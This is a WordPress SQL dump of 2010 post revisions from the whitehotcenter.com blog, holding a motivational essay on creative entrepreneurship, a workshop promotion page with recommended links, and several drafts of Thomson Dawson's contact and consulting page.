(1386, 2, '2010-07-15 08:13:04', '2010-07-15 15:13:04', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2>In the idea economy, the value  entrepreneurs provide lies not in their physical products or services,   but in intangible assets such as their brand, reputation, network and  intellectual property. These assets form the white hot center of  competitive advantage.</h2>\r\n<div>\r\n\r\nMany entrepreneurs and solo  professionals get hung up on the word “creative”. Many entrepreneurs do  not believe they are creative. Many people think of the term as it  relates to artistic expression or ability. If you have a dry cleaning  business, you might not think of it as creative business at all. In  truth, being a successful entrepreneur in any business requires lots of  creativity and innovation. More so in an economy increasingly driven by  ideas!  There are three important characteristics all entrepreneurs  share:\r\n\r\n<strong>Creativity</strong>\r\ngenerating new ideas, evaluating them  effectively, taking action to turn them into new products and services  that create value.\r\n\r\n<strong>Collaboration</strong>\r\nconnecting and working with  partners, and other significant players in their network, which will  increasingly be scattered beyond local geography and contain more  ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\nidentifying opportunities in the  marketplace and using their business skills to transform formless ideas  into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce  wealth, but the modern creative entrepreneur in the emerging idea  economy will go further and deeper. Noted author, John Howkins defines  creative entrepreneurs as people who “use creativity to unlock the  wealth that lies within them rather than with external capital”.  The  greater value creative entrepreneurs provides lies not in their physical  products (if any) but in intangible assets such as their brand,  reputation, social network and intellectual property. These assets form  the “inner game” I call the white hot center of competitive advantage.\r\n<h2><span style="color: #808080;">Creative entrepreneurs inherently “know” their success begins inside  them, and they go outward from there. How do these three characteristics  show up in you?</span></h2>\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative  entrepreneurs with big ideas and the will to bring them into form.  Social Media is transforming every human structure and business model of  the last half-century. We are truly in a new age of human connection  and interaction. What’s different is the transparent and  “virtual  nature” of these interactions as a result of this exploding phenomena.  We are experiencing the embryonic beginnings of how humans will build  more transparent, tribal and profitable relationships with others of  like mind. It is in this fertile soil that the creative economy will  grow.and ideas are its currency.\r\n\r\nThis gives the creative entrepreneur a leg up simply because, by  their very nature, entrepreneurs are predisposed to thinking with  creativity and innovation. The social web will only grow in its  potential to bring humans closer, providing a powerful venue that is  favorable to ideas that create more value for people. Creative  entrepreneurs will form the core of this emerging group who will become  the new visionaries–people who create greater financial value from their  intangible ideas.\r\n\r\nIn the idea economy, the attributes that will power creative  entrepreneurs toward greater innovation and wealth creation are:\r\n\r\n<strong>Autonomy</strong>\r\nthe desire to direct the course of their  own lives and be free from all bureaucratic structures.\r\n\r\n<strong>Mastery</strong>\r\na never-ending capacity to grow and get  better at something that really matters to them.\r\n\r\n<strong>Purpose</strong>\r\nthe yearning to do what matters to them,  and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue  their ideas. They blame their lack and limitation on the closed  structures of the past fifty years. If you continue in the belief of  lack and limitation as a reason for not pursuing your ideas, and you  will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers”  framing their ideas around “what-if and why-not” questions. The emerging  creative idea-based economy is a system favorable to this point of  view. Never has potential and possibility for success been more  available!\r\n\r\nWhen you embark on the journey of pursuing ideas to grow your value  to the world, you’ll be focusing your energy on trusting your intuition  and imagination, (which is where all ideas come from) and less on the  evidence interpreted by your physical senses. New opportunity will show  up to strengthen your faith and belief. And with faith and belief, you  will have the will to set meaningful goals and persist in your action.  Persistent action gives you more momentum. Momentum leads to results.\r\n\r\n<strong> If you are an entrepreneur, or thinking about becoming one,  there is no better time than now to begin to take your creative business  to the next level!</strong>\r\n\r\n</div>', 'How the idea economy will unlock your power to grow wealth.', 0, '', 'inherit', 'open', 'open', '', '632-revision-41', '', '', '2010-07-15 08:13:04', '2010-07-15 15:13:04', '', 632, 'http://www.whitehotcenter.com/2010/07/15/632-revision-41/', 0, 'revision', '', 0),
(1388, 2, '2010-12-27 16:26:45', '2010-12-27 23:26:45', '<h2><img class="size-full wp-image-667 alignleft" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="270" height="320" /><span style="color: #ff6600;"> </span></h2>\r\n<h2>In the idea economy, the value  entrepreneurs provide lies not in their physical products or services,   but in intangible assets such as their brand, reputation, network and  intellectual property. These assets form the white hot center of  competitive advantage.</h2>\r\n<div>\r\n\r\nMany entrepreneurs and solo  professionals get hung up on the word “creative”. Many entrepreneurs do  not believe they are creative. Many people think of the term as it  relates to artistic expression or ability. If you have a dry cleaning  business, you might not think of it as creative business at all. In  truth, being a successful entrepreneur in any business requires lots of  creativity and innovation. More so in an economy increasingly driven by  ideas!  There are three important characteristics all entrepreneurs  share:\r\n\r\n<strong>Creativity</strong>\r\ngenerating new ideas, evaluating them  effectively, taking action to turn them into new products and services  that create value.\r\n\r\n<strong>Collaboration</strong>\r\nconnecting and working with  partners, and other significant players in their network, which will  increasingly be scattered beyond local geography and contain more  ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\nidentifying opportunities in the  marketplace and using their business skills to transform formless ideas  into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce  wealth, but the modern creative entrepreneur in the emerging idea  economy will go further and deeper. Noted author, John Howkins defines  creative entrepreneurs as people who “use creativity to unlock the  wealth that lies within them rather than with external capital”.  The  greater value creative entrepreneurs provides lies not in their physical  products (if any) but in intangible assets such as their brand,  reputation, social network and intellectual property. These assets form  the “inner game” I call the white hot center of competitive advantage.\r\n<h2><span style="color: #808080;">Creative entrepreneurs inherently “know” their success begins inside  them, and they go outward from there. How do these three characteristics  show up in you?</span></h2>\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative  entrepreneurs with big ideas and the will to bring them into form.  Social Media is transforming every human structure and business model of  the last half-century. We are truly in a new age of human connection  and interaction. What’s different is the transparent and  “virtual  nature” of these interactions as a result of this exploding phenomena.  We are experiencing the embryonic beginnings of how humans will build  more transparent, tribal and profitable relationships with others of  like mind. It is in this fertile soil that the creative economy will  grow.and ideas are its currency.\r\n\r\nThis gives the creative entrepreneur a leg up simply because, by  their very nature, entrepreneurs are predisposed to thinking with  creativity and innovation. The social web will only grow in its  potential to bring humans closer, providing a powerful venue that is  favorable to ideas that create more value for people. Creative  entrepreneurs will form the core of this emerging group who will become  the new visionaries–people who create greater financial value from their  intangible ideas.\r\n\r\nIn the idea economy, the attributes that will power creative  entrepreneurs toward greater innovation and wealth creation are:\r\n\r\n<strong>Autonomy</strong>\r\nthe desire to direct the course of their  own lives and be free from all bureaucratic structures.\r\n\r\n<strong>Mastery</strong>\r\na never-ending capacity to grow and get  better at something that really matters to them.\r\n\r\n<strong>Purpose</strong>\r\nthe yearning to do what matters to them,  and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue  their ideas. They blame their lack and limitation on the closed  structures of the past fifty years. If you continue in the belief of  lack and limitation as a reason for not pursuing your ideas, and you  will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers”  framing their ideas around “what-if and why-not” questions. The emerging  creative idea-based economy is a system favorable to this point of  view. Never has potential and possibility for success been more  available!\r\n\r\nWhen you embark on the journey of pursuing ideas to grow your value  to the world, you’ll be focusing your energy on trusting your intuition  and imagination, (which is where all ideas come from) and less on the  evidence interpreted by your physical senses. New opportunity will show  up to strengthen your faith and belief. And with faith and belief, you  will have the will to set meaningful goals and persist in your action.  Persistent action gives you more momentum. Momentum leads to results.\r\n\r\n<strong> If you are an entrepreneur, or thinking about becoming one,  there is no better time than now to begin to take your creative business  to the next level!</strong>\r\n\r\n</div>', 'How the idea economy will unlock your power to grow wealth.', 0, '', 'inherit', 'open', 'open', '', '632-revision-43', '', '', '2010-12-27 16:26:45', '2010-12-27 23:26:45', '', 632, 'http://www.whitehotcenter.com/2010/12/27/632-revision-43/', 0, 'revision', '', 0);
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(1387, 2, '2010-12-27 16:25:10', '2010-12-27 23:25:10', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif"><img class="alignnone size-full wp-image-667" title="ideas" src="http://whc.fbdev.org/wp-content/uploads/2009/09/ideas4.gif" alt="ideas" width="450" height="534" /></a><span style="color: #ff6600;"> </span></h2>\r\n<h2>In the idea economy, the value  entrepreneurs provide lies not in their physical products or services,   but in intangible assets such as their brand, reputation, network and  intellectual property. These assets form the white hot center of  competitive advantage.</h2>\r\n<div>\r\n\r\nMany entrepreneurs and solo  professionals get hung up on the word “creative”. Many entrepreneurs do  not believe they are creative. Many people think of the term as it  relates to artistic expression or ability. If you have a dry cleaning  business, you might not think of it as creative business at all. In  truth, being a successful entrepreneur in any business requires lots of  creativity and innovation. More so in an economy increasingly driven by  ideas!  There are three important characteristics all entrepreneurs  share:\r\n\r\n<strong>Creativity</strong>\r\ngenerating new ideas, evaluating them  effectively, taking action to turn them into new products and services  that create value.\r\n\r\n<strong>Collaboration</strong>\r\nconnecting and working with  partners, and other significant players in their network, which will  increasingly be scattered beyond local geography and contain more  ‘virtual’ relationships than face-to-face ones.\r\n\r\n<strong>Entrepreneurship</strong>\r\nidentifying opportunities in the  marketplace and using their business skills to transform formless ideas  into physical products and profits.\r\n\r\nEntrepreneurs have always relied on their creativity to produce  wealth, but the modern creative entrepreneur in the emerging idea  economy will go further and deeper. Noted author, John Howkins defines  creative entrepreneurs as people who “use creativity to unlock the  wealth that lies within them rather than with external capital”.  The  greater value creative entrepreneurs provides lies not in their physical  products (if any) but in intangible assets such as their brand,  reputation, social network and intellectual property. These assets form  the “inner game” I call the white hot center of competitive advantage.\r\n<h2><span style="color: #808080;">Creative entrepreneurs inherently “know” their success begins inside  them, and they go outward from there. How do these three characteristics  show up in you?</span></h2>\r\n<strong>The New Age of Connection</strong>\r\n\r\nThere has never been a more favorable environment for creative  entrepreneurs with big ideas and the will to bring them into form.  Social Media is transforming every human structure and business model of  the last half-century. We are truly in a new age of human connection  and interaction. What’s different is the transparent and  “virtual  nature” of these interactions as a result of this exploding phenomena.  We are experiencing the embryonic beginnings of how humans will build  more transparent, tribal and profitable relationships with others of  like mind. It is in this fertile soil that the creative economy will  grow.and ideas are its currency.\r\n\r\nThis gives the creative entrepreneur a leg up simply because, by  their very nature, entrepreneurs are predisposed to thinking with  creativity and innovation. The social web will only grow in its  potential to bring humans closer, providing a powerful venue that is  favorable to ideas that create more value for people. Creative  entrepreneurs will form the core of this emerging group who will become  the new visionaries–people who create greater financial value from their  intangible ideas.\r\n\r\nIn the idea economy, the attributes that will power creative  entrepreneurs toward greater innovation and wealth creation are:\r\n\r\n<strong>Autonomy</strong>\r\nthe desire to direct the course of their  own lives and be free from all bureaucratic structures.\r\n\r\n<strong>Mastery</strong>\r\na never-ending capacity to grow and get  better at something that really matters to them.\r\n\r\n<strong>Purpose</strong>\r\nthe yearning to do what matters to them,  and have that serve the good of others.\r\n\r\n<strong>What this means to you.</strong>\r\n\r\nMany people believe they don’t “have enough” resources to pursue  their ideas. They blame their lack and limitation on the closed  structures of the past fifty years. If you continue in the belief of  lack and limitation as a reason for not pursuing your ideas, and you  will miss the opportunity of your lifetime. Snooze, you lose.\r\n\r\nOn the other hand, creative entrepreneurs are “possibility thinkers”  framing their ideas around “what-if and why-not” questions. The emerging  creative idea-based economy is a system favorable to this point of  view. Never has potential and possibility for success been more  available!\r\n\r\nWhen you embark on the journey of pursuing ideas to grow your value  to the world, you’ll be focusing your energy on trusting your intuition  and imagination, (which is where all ideas come from) and less on the  evidence interpreted by your physical senses. New opportunity will show  up to strengthen your faith and belief. And with faith and belief, you  will have the will to set meaningful goals and persist in your action.  Persistent action gives you more momentum. Momentum leads to results.\r\n\r\n<strong> If you are an entrepreneur, or thinking about becoming one,  there is no better time than now to begin to take your creative business  to the next level!</strong>\r\n\r\n</div>', 'How the idea economy will unlock your power to grow wealth.', 0, '', 'inherit', 'open', 'open', '', '632-revision-42', '', '', '2010-12-27 16:25:10', '2010-12-27 23:25:10', '', 632, 'http://www.whitehotcenter.com/2010/12/27/632-revision-42/', 0, 'revision', '', 0),
(1391, 2, '2010-12-27 16:38:57', '2010-12-27 23:38:57', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="388" height="388" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Take the leap and learn more, visit the official registration site <a href="http://www.whcquantumleap.com" target="_blank">www.whcquantumleap.com </a></span></span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. </span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-12-27 16:38:57', '2010-12-27 23:38:57', '', 145, 'http://www.whitehotcenter.com/2010/12/27/145-revision-73/', 0, 'revision', '', 0),
(1392, 2, '2010-12-03 17:58:05', '2010-12-04 00:58:05', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;">For years, I would daydream about living and working in a beautiful, natural environment. Here it is. Proof that achievement is the result of inspired, energy-infused creative thought. Nothing is more comforting to my soul than living in an orange grove, and I''m delighted to share the view with you here.\r\n</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3921</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<span style="color: #ff8c00;"><strong> inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more value.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Organizations:\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Entrepreneurs and Solo Professionals:\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I  am available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<span style="color: #ff6600;"><strong>I  also advise corporations, organizations, and early-stage  entrepreneurs, on issue-based consulting and coaching on marketing, positioning, branding, business and  professional development. The depth and duration of these engagements  varies depending on your needs and my availability. As a start, try  arranging for a “Power Session” with me where we can riff on your  current concerns, big ideas and visions you have for your future.  Click  the Power Session banner to the right. Remember, the nature of my  consulting work is weighted to the inner game of business and life  success. If you need help sifting through quantitative or qualitative  data, or motivating people to fill out time sheets, I’m not the guy. On  the other hand, if you have ideas for your bigger, better future you’d  like to gain more clarity and confidence on, just send me a note via my  email link and I’ll promptly reply.</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-12-03 17:58:05', '2010-12-04 00:58:05', '', 143, 'http://www.whitehotcenter.com/2010/12/03/143-revision-30/', 0, 'revision', '', 0),
(1395, 2, '2010-12-27 16:44:36', '2010-12-27 23:44:36', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"> </span><strong>To contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3921</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<span style="color: #ff8c00;"><strong> inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more impact, influence and income.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Organizations:</span>\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Entrepreneurs and Solo Professionals:</span>\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I  am available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-12-27 16:44:36', '2010-12-27 23:44:36', '', 143, 'http://www.whitehotcenter.com/2010/12/27/143-revision-33/', 0, 'revision', '', 0),
(1394, 2, '2010-12-27 16:43:11', '2010-12-27 23:43:11', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"> </span><strong>To contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3921</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<span style="color: #ff8c00;"><strong> inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more impact, influence and income.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Organizations:\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Entrepreneurs and Solo Professionals:\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I  am available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<span style="color: #ff6600;"><strong>I  also advise corporations, organizations, and early-stage  entrepreneurs, on issue-based consulting and coaching on marketing, positioning, branding, business and  professional development. The depth and duration of these engagements  varies depending on your needs and my availability. As a start, try  arranging for a “Power Session” with me where we can riff on your  current concerns, big ideas and visions you have for your future.  Click  the Power Session banner to the right. Remember, the nature of my  consulting work is weighted to the inner game of business and life  success. If you need help sifting through quantitative or qualitative  data, or motivating people to fill out time sheets, I’m not the guy. On  the other hand, if you have ideas for your bigger, better future you’d  like to gain more clarity and confidence on, just send me a note via my  email link and I’ll promptly reply.</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-12-27 16:43:11', '2010-12-27 23:43:11', '', 143, 'http://www.whitehotcenter.com/2010/12/27/143-revision-32/', 0, 'revision', '', 0),
(1396, 2, '2010-12-27 16:45:56', '2010-12-27 23:45:56', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;"> </span><strong>To contact me in the orange grove:</strong></h2>\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 640 3921</strong>\r\n\r\n<strong> </strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span></strong></span></h1>\r\n<h1><span style="color: #ff8c00;"> </span></h1>\r\n<span style="color: #ff8c00;"><strong> inspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more impact, influence and income.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Organizations:</span>\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #333333;">For Entrepreneurs and Solo Professionals:</span>\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Speaking gigs</strong>:<span style="color: #ff6600;"><strong>\r\nI''m available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-12-27 16:45:56', '2010-12-27 23:45:56', '', 143, 'http://www.whitehotcenter.com/2010/12/27/143-revision-34/', 0, 'revision', '', 0),
